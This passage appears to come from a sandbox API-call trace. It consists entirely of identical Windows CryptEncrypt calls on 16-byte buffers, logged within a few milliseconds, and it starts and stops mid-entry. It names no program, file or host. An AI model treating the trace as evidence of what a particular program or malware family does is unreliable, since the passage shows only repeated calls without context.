pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.538] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.538] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.538] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.538] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.538] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.538] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.538] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.538] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.538] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.538] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.538] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.538] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.538] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.538] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.538] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.538] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.538] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.538] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.538] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.538] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.538] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.538] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.538] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.539] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.539] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.539] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.539] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.539] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.539] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.539] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.539] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.539] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.539] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.539] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.539] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.539] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.539] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.539] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.539] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.539] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.539] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.539] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.539] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.539] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.539] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.539] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.540] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.540] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.540] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.540] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.540] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.540] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.540] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.540] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.540] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.540] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.540] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.540] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.540] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.540] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.540] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.540] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.540] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.540] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.540] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.540] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.540] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.540] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.541] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, 